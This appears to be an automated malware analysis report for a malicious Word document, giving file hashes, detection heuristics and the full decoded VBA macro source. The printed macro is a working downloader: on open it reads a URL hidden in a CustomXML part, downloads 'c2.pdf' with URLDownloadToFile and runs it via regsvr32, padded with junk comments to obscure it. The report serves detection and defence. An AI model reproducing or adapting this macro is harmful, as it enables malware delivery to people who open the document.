Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ff9f377f5d6ac1bf…

MALICIOUS

Office (OOXML)

116.3 KB Created: 2020-07-20 09:11:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 427bf2342b247fdcd35ab11c4f8f29d5 SHA-1: a09f29a32aaca5d11ddefd58eb27a7f0b56821ba SHA-256: ff9f377f5d6ac1bfcdb7a7b185549ca3761a714ca787456ba656871208ec1b48
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious OOXML document containing VBA macros. The AutoOpen macro is designed to download a file named 'c2.pdf' using URLDownloadToFile and then execute it using the Shell function. This indicates a downloader or droppper functionality.

Heuristics 6

  • ClamAV: Doc.Downloader.GreenBox5-9139204-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.GreenBox5-9139204-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    ' Primal karaoke bbw
    Shell wu & bn & "32 c2.pdf"
    End Sub
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If VBA7 And Win64 Then
    Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal NI As LongPtr, ByVal dS As String, ByVal YN As String, ByVal wm As LongPtr, ByVal hb As LongPtr) As Long
    #Else
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
    Sub autoopen()
    yR = ActiveDocument.CustomXMLParts(ActiveDocument.CustomXMLParts.Count).SelectNodes("//Items")(1).ChildNodes(2).Text
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3839 bytes
SHA-256: 87b7401c3cf80ed2281081d95eebce256030a6ee78723285aa0c55787964d5f8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "nb"
Function q2(ND)
    
' Slowly naturals absolve
' Pursuit discretionary mh
' Belief caught musician
' Pout technologies sullivan

' Ya dun base entrap
' Elect
' Angeles undergraduate overrun cabman hoar shorten
' Incontrovertible subjugate gossamer

' Enlarge ranked ukraine dais cod stuffed
' Accepts discontinued bus novels recruiting awkwardly
' Lynching endangered ariel impute fracture -a

' Microscope atlanta yellowish garden
' Constrain sorcery firebrand must
' Contacted olympus
' Preclude vexatious holiday

' Tops rooms nose although energy thesis
' Endow cult

' Wilkinson harrow graveyard
' Ago greatly
End Function
Sub autoopen()
yR = ActiveDocument.CustomXMLParts(ActiveDocument.CustomXMLParts.Count).SelectNodes("//Items")(1).ChildNodes(2).Text

' Slut probe
' Piebald pianist
' Percent marvel christ closeted
' Chad
' Book cistern alone tangent
' Scow chevy barbados

' Leaking
' Andromeda cn plane
' Absences perjury daunt malay
frm.download yR, "c2.pdf"

' Liege hallowed spy levels dent
' Promotes invitations
' Mother-in-law packet identity constipation

' Secret
' Memoir sauce

' Deadlock polo anarchist undefined rid yrs

' Wally
' Straightforward conducts
' Gst corrections impassive
' Siemens desecration integer der broods
' Primal karaoke bbw
Shell wu & bn & "32 c2.pdf"
End Sub

Attribute VB_Name = "nb1"
Sub e4()

' College int foundations postponement
' Adm. commercially writers
' Clothing alternative fungi

' Thankfulness mart oak bell
' Woody audit
' Quaff remonstrate characters
' Crest mb
' Unix creak allure wickedly engineer

' Removable imperturbable acids rays

' Fie
' Deaths brimstone notebooks diane phil
' Orange note implementing

' Incorporation win
' Primordial clang awards varuna
' Workshop nested
' Terrify rrp
' Empirical annuity

' Topics armoury one
' Fend hull condemning
' Planned meetings

' Ganymede equipment stealth salubrious

' Supplant flush accrued vesta bikes
' Wu irritable
' Tattered alton
' Racks skill labels lamb
' Insight formal flashers ssl tingling notice suave
' Engage drove candour heated toy
' Participle calibration

' Pc retention devotedly settled
' Turnpike
' Dory
' Sun modifies separation recommends surgeon bias crucial

' Cloven portsmouth threats
' Speech behaviour dislocation feeding
' Css financial cod vernacular

' Walter slammed
' Voluble roe useful cream
' Gardening

' Lady linda panama
' Meager codes
' Sturgeon calvin holly
' Devoted business economy swans poker
End Sub

Attribute VB_Name = "e"
Public Const wu As String = "reg"
Public Const bn As String = "svr"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal NI As LongPtr, ByVal dS As String, ByVal YN As String, ByVal wm As LongPtr, ByVal hb As LongPtr) As Long
#Else
Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA"(ByVal NI As Long, ByVal dS As String, ByVal YN As String, ByVal wm As Long, ByVal hb As Long) As Long
#End If

Attribute VB_Name = "frm"
Attribute VB_Base = "0{E8CC066F-0257-4A9F-9AD4-AECFFBCADF1C}{C70FC540-2690-4D0A-B8E8-F5BC0ACFA84D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub download(url, file)
    URLDownloadToFile 0, url, file, 0, 0
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 27136 bytes
SHA-256: cc2819a2229e78c4eaf953eeb35832151b17e39d6ec6143b7402fa0975313cff